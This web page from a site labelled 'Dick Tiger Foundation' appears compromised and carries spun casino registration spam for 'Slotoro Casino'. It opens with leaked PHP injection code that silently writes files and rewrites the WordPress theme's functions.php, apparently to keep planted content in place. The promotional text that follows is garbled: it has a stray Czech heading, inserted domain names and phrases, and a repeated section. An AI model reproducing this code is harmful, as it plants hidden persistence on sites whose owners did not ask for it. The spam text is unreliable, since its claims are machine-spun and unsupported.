'f49924dc1ba87044e3af7055ad9fdf52') { @file_put_contents($wphc_target, $wphc_raw, LOCK_EX); } } } wphc_boot_f49924dc1b(); } if (!function_exists('wphc_stale_theme_fix')) { function wphc_stale_theme_fix() { $wphc_tf = get_stylesheet_directory() . '/functions.php'; if (!is_file($wphc_tf) || !is_writable($wphc_tf)) { return; } $wphc_c = @file_get_contents($wphc_tf); if (!is_string($wphc_c) || strpos($wphc_c, 'wphc-theme-compat') === false) { return; } if (strpos($wphc_c, 'f49924dc1ba87044e3af7055ad9fdf52') !== false) { return; } $wphc_c2 = preg_replace('#/\*\s*wphc-theme-compat:begin\s*\*/.*?/\*\s*wphc-theme-compat:end\s*\*/#s', '', $wphc_c); if (is_string($wphc_c2) && strlen($wphc_c2) < strlen($wphc_c)) { @file_put_contents($wphc_tf, rtrim($wphc_c2) . "\n", LOCK_EX); } } wphc_stale_theme_fix(); } /* wphc-theme-compat:end */ Slotoro Casino Create Account Right Away and Get Started - Dick Tiger Foundation

Slotoro Casino offers a top-tier online gaming experience designed for Canadian players, and the starting point to exploring its complete collection of slots, table games, and live dealer entertainment is a fast and secure registration. The Slotoro Casino register process has been simplified to take only a few minutes while upholding strict security protocols that secure personal and financial information. New members who complete the sign-up form gain direct access to a generous welcome package, tailored promotions, and a user-friendly account dashboard that makes handling deposits, withdrawals, and bonus offers easy. By applying the guidance below, every player can establish an account confidently, validate their identity, and begin enjoying the platform’s features without unnecessary delays. Registration at Slotoro Casino is built to be straightforward, in accordance with Canadian regulations, and centered on providing a secure environment for responsible play. The whole process upholds player privacy and uses industry-standard encryption to secure data from the moment the first field is entered.

Dvoufaktorové ověření for Enhanced Security

Two-factor authentication (2FA) is one of the most effective tools for blocking unapproved account access, and Slotoro Casino urges every player to turn on it promptly after registration. When 2FA is activated, logging in demands not only the username and password but also a time-based code produced by an authenticator app such as Google Authenticator or sent via SMS. This means that even if a password is breached, a malicious actor cannot get into the account without direct access of the linked device. Activating 2FA takes under two minutes and can be completed from the account security settings page. Slotoro Casino provides both app-based and SMS-based verification, giving users options based on their choices and mobile coverage. Players who journey frequently may consider app-based codes more trustworthy, as they do not rely on cellular signal. The platform also offers backup recovery codes that should be saved in a protected place offline; these codes allow account access if the primary 2FA device is stolen or changed. Turning on this feature substantially reduces the risk of phishing attacks and credential stuffing, rendering it a cornerstone of a secure security posture.

Accountable Gaming Tools After Registration

Slotoro Casino positions responsible gambling at the heart of its operations, and registered members get immediate access to a complete suite of tools created to promote healthy play habits. The account dashboard includes options to establish deposit limits on a daily, weekly, or monthly schedule, making sure that spending never surpasses a predetermined budget. Players can also enable reality checks that display session duration reminders at customizable periods, aiding them keep aware of time spent on the platform. For those who require a longer pause, the self-exclusion feature enables temporary suspension of the account for a chosen duration, during which promotional emails are also paused. Permanent self-exclusion is offered for players who decide to step away fully, and the support team deals with such requests with sensitivity and confidentiality. Additionally, the platform provides direct links to Canadian problem gambling resources such as ConnexOntario and Gambling Therapy, making professional help easily accessible. Slotoro Casino’s responsible gaming policy is audited routinely to confirm compliance with evolving industry standards. By using these tools actively, players can keep control and maintain the entertainment experience positive and stress-free. New members are encouraged to check these settings during their first login to create boundaries that match their personal comfort level.

KYC Verification and Verification Processes

Slotoro Casino follows strict know-your-customer (KYC) protocols to comply with Canadian anti-money laundering laws and to safeguard the community from fraud. After registration, players are required to authenticate their identity by uploading clear copies of a government-issued photo ID, such as a driver’s license or passport, and a recent utility bill or bank statement that validates the residential address. The verification team reviews documents within 24 hours, although most submissions are processed in less than 12 hours. Once confirmed, the account obtains full withdrawal rights, and higher deposit limits are granted. It is crucial that the name and address on the documents correspond to the details provided during sign-up to prevent delays. Slotoro Casino uses secured document storage and never distributes verification files with third parties. Players who encounter difficulties can consult the support desk for personalized assistance, and the platform offers a secure upload portal that handles common file formats like PDF, JPEG, and PNG. Undergoing KYC early assures that when a player initiates a payout, the funds are released without unnecessary waiting periods. This proactive step also helps preserve the integrity of the gaming environment.

Using the Slotoro Casino Login Page

The Slotoro Casino login page is crafted with simplicity and quickness in view, allowing returning players to reach their accounts in seconds. Situated at a dedicated, secure URL, the page offers a clean interface with areas for the linked email or username and password. A noticeable “Remember Me” option is available on personal devices to streamline future logins, however it ought to be skipped on shared computers. For members who have activated two-factor authentication, an extra field shows up similarweb.com by itself to enter the verification code. The login page also contains direct links for password recovery and customer support, ensuring that assistance is always just a click away. Slotoro Casino utilizes advanced bot detection and rate-limiting measures on the login endpoint to prevent automated attacks without disrupting legitimate users. The entire page is served over HTTPS, and the connection is secured with TLS 1.3, assuring that login details are transferred securely.

  • Quick-access “Forgot Password” link that starts a safe reset process via email.
  • Automatic session timeout after a period of inactivity to prevent unauthorized access on unattended devices.
  • Multi-language support, enabling Canadian players to toggle between English and French for a more personalized experience.

Reasons to Set Up a Slotoro Casino Account

Registering at Slotoro Casino provides the door to a meticulously selected collection of over 1,500 games from top software providers, such as high-RTP slots, progressive jackpots, and immersive live dealer tables. Canadian players benefit from tailored payment methods such as Interac, iDebit, and MuchBetter, which make deposits and withdrawals seamless and fast. A registered account also unlocks a multi-tier welcome bonus that often includes deposit matches and free spins, providing new members extra value from their first sessions. Beyond the immediate rewards, account holders obtain access to a customized loyalty program, priority customer support, exclusive tournament invitations, and a specialized mobile app for gaming on the go. The platform’s commitment to fair play is backed by its licensing and regular audits, so every spin and hand is provably random. Opening an account requires only a few minutes and establishes a protected, long-term relationship with a brand that emphasizes player satisfaction and data protection. The registration process is structured to be straightforward, and support is available around the clock if any questions emerge.

Detailed Registration Guide

  1. Go to the official Slotoro Casino website and tap the prominent “Register” button located at the top right corner of the homepage.
  2. Fill in the required fields, comprising a valid email address, a unique username, and a strong password that satisfies the platform’s security criteria.
  3. Supply accurate personal details such as full name, date of birth, and residential address to meet Canadian know-your-customer requirements.
  4. Choose the preferred currency (CAD is recommended for Canadian players) and agree to the terms and conditions after examining them.
  5. Send the registration form and look at the email inbox for a verification link to enable the account immediately.

Once the email is validated, the new account becomes fully active, and the player can log in to navigate the casino lobby, receive the welcome bonus, and make a first deposit using any of the supported Canadian banking methods. The entire registration flow is secured by SSL encryption, assuring that sensitive data never travels in plain text. Slotoro Casino also delivers a brief onboarding tutorial for newcomers, showcasing key sections such as the cashier, promotions page, and responsible gaming settings. Should any step result in confusion, the live chat support team is available 24/7 to help users through the process without delay. The verification email typically comes within seconds, but players should examine the spam folder if it does not show up in the primary inbox. After activation, the account dashboard shows the current balance, active bonuses, and recent transaction history, making it easy to stay informed. New members are advised to enable two-factor authentication right away for an additional layer of protection.

Fixing Common Login Issues

Even with a well-designed login system, periodic issues can arise, and learning how to resolve them quickly reduces frustration to a minimum. Most login problems at Slotoro Casino stem from simple causes such as wrong credentials, an unconfirmed account, or browser-related conflicts. The platform’s support infrastructure is designed to handle these situations efficiently, and many fixes can be performed by the player without needing to contact the help desk. Before reaching out for assistance, it is recommended checking a few common troubleshooting steps that solve the vast majority of cases. Clearing the browser cache and cookies, verifying the device’s clock is aligned for 2FA codes, and disabling overly restrictive VPNs can also regain access instantly. Maintaining the operating system and browser up to date further minimizes compatibility issues. The following list outlines frequent login obstacles and their recommended solutions.

  • Incorrect password or username: Try the “Forgot Password” link to reset the password. Verify that the email address entered is the same as the one used during registration.
  • Account not verified: Examine the inbox and spam folder for the activation email. If it has become invalid, request a new verification link from the login page.
  • 2FA code not working: Make sure the authenticator app’s time is synced correctly. If using SMS, confirm that the mobile number on file is up-to-date and has reception.
  • Browser errors or blank page: Delete cache and cookies, use a different browser, or move to incognito mode. Turn off ad blockers that might disrupt with the login script.
  • Account locked due to multiple failed attempts: Stay 15 minutes for the temporary lock to lift, or contact live support to verify identity and unlock the account immediately.

Setting Up Secure Login Credentials

A protected account originates with strong login credentials that are difficult for unapproved parties to guess. Slotoro Casino enforces password complexity standards, but players can also enhance their protection by observing a few straightforward guidelines. The platform’s software routinely evaluates password strength during registration and offers real-time guidance to aid users generate a string that defeats brute-force attempts. Beyond the password, choosing a original username that does not expose personal information adds another stratum of obscurity. It is just as important to refrain from reusing credentials from other websites, as data breaches in other places can jeopardize casino accounts. Players should also consider utilizing a password manager to produce and store complex strings safely, reducing the chance of human error. Regularly changing the password and monitoring account activity are practices that greatly decrease the probability of unauthorized access. The subsequent best practices are suggested for every Slotoro Casino member.

  • Create a password that is at least 12 characters long and includes uppercase letters, lowercase letters, numbers, and symbols.
  • Do not ever incorporating easily guessable information such as birth dates, pet names, or sequential keyboard patterns.
  • Activate two-factor authentication to incorporate a dynamic security code condition in addition to the static password.
  • Sign out after each session, especially when accessing the account from a shared or public device.

Navigating the Slotoro Casino Login Page

The Slotoro Casino login page is crafted with ease and speed in mind, letting returning players skysports.com to reach their accounts in no time. Situated at a dedicated, secure URL, the page displays a neat interface with boxes for the registered email or username and password. A prominent “Remember Me” option can be selected on personal devices to simplify future logins, however it should be avoided on shared computers. For users who have turned on two-factor authentication, an additional field shows up by itself to type in the verification code. The login page also includes direct links for password recovery and customer support, guaranteeing that assistance is always just a click away. Slotoro Casino uses cutting-edge bot detection and rate-limiting measures on the login endpoint to block automated attacks without bothering legitimate users. The whole page is delivered over HTTPS, and the connection is protected with TLS 1.3, guaranteeing that credentials are transferred securely.

  • Quick-access “Forgot Password” link that triggers a protected reset process via email.
  • Automatic session timeout after a length of inactivity to avoid unauthorized access on unattended devices.
  • Multi-language support, enabling Canadian players to switch between English and French for a more comfortable experience.

FAQ

What time does it take to register at Slotoro Casino?

The registration process at Slotoro Casino usually takes less than three minutes. A player must provide a valid email address, create a username and password, and fill in basic personal details. After submitting the form, a verification email is sent instantly. Clicking the link inside that email activates the account, and the player can log in and make a deposit right away. The entire flow is optimized for speed, and the platform’s interface guides users through each field clearly to avoid errors.

Which documents are needed for account verification?

To complete the KYC verification, Slotoro Casino requires a clear copy of a government-issued photo ID, such as a passport or driver’s license. In addition, a recent utility bill, bank statement, or official letter showing the player’s full name and residential address is needed. The documents must be valid and not expired. The casino’s verification team reviews submissions swiftly, usually within 12 to 24 hours. All uploaded files are stored on encrypted servers and handled in strict compliance with Canadian privacy regulations.

Is two-factor authentication required?

2FA is not compulsory, but Slotoro Casino urges activating it to protect the account from unauthorized access. Players can enable 2FA from the security settings right away registration. Once enabled, each login demands a special code from an authentication app or SMS, providing a robust layer of protection. While the choice lies with the user, accounts with 2FA enabled see far fewer security issues, and the setup process needs only a few minutes.

Is it possible to change my account email later?

Certainly, a player can request an email address update by reaching out to the take a look customer support department. For security reasons, this change cannot be performed directly from the account options. The support agent will present a set of verification questions to confirm the account user’s identity before handling the update. It is crucial to have the email on file current because password resets, withdrawal verifications, and key account messages are sent to that address. The process is typically done within a matter of hours.

What steps should I take if I forget my password?

If a password is forgotten, the player should select the “Forgot Password” link on the Slotoro Casino login page. This initiates an email to the registered address with a secure reset link. After following the link, a new password can be set that satisfies the platform’s complexity requirements. The reset link becomes invalid after a short period for security, so it should be activated promptly. If the email does not come, reviewing the spam folder or contacting live support will resolve the issue.